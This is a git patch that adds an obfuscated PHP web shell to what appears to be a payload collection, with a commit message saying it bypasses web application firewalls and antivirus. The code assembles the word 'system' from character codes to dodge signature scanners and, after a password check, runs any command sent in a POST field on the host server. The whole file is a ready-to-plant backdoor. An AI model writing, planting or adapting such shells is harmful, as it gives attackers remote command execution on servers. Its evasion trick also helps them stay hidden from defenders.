From b4f72e9dd5754ae7e9b06ac4068fb0d1ef7c2f8a Mon Sep 17 00:00:00 2001
From: Q-Analysis <q-analysis@users.noreply.github.com>
Date: Sat, 1 Jul 2017 14:25:02 +0000
Subject: [PATCH] Added An Obfuscation Shell

Shell to bypass WAFs and AVs
---
 Payloads/laudanum-0.8/obfuscated_phpshell | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)
 create mode 100644 Payloads/laudanum-0.8/obfuscated_phpshell

diff --git a/Payloads/laudanum-0.8/obfuscated_phpshell b/Payloads/laudanum-0.8/obfuscated_phpshell
new file mode 100644
index 0000000..0cf62ec
--- /dev/null
+++ b/Payloads/laudanum-0.8/obfuscated_phpshell
@@ -0,0 +1,22 @@
+<?php
+
+$pass = "9cdfb439c7876e703e307864c9167a15"; //lol 
+
+$A = chr(0x73);
+$B = chr(0x79);
+$X = chr(0x74);
+$D = chr(0x65);
+$E = chr(0x6d);
+
+$hook = $A.$B.$A.$X.$D.$E;
+
+if($pass == md5($_POST['password']))
+{
+  $hook($_POST['cmd']);
+}
+else
+{
+  die();
+}
+
+?>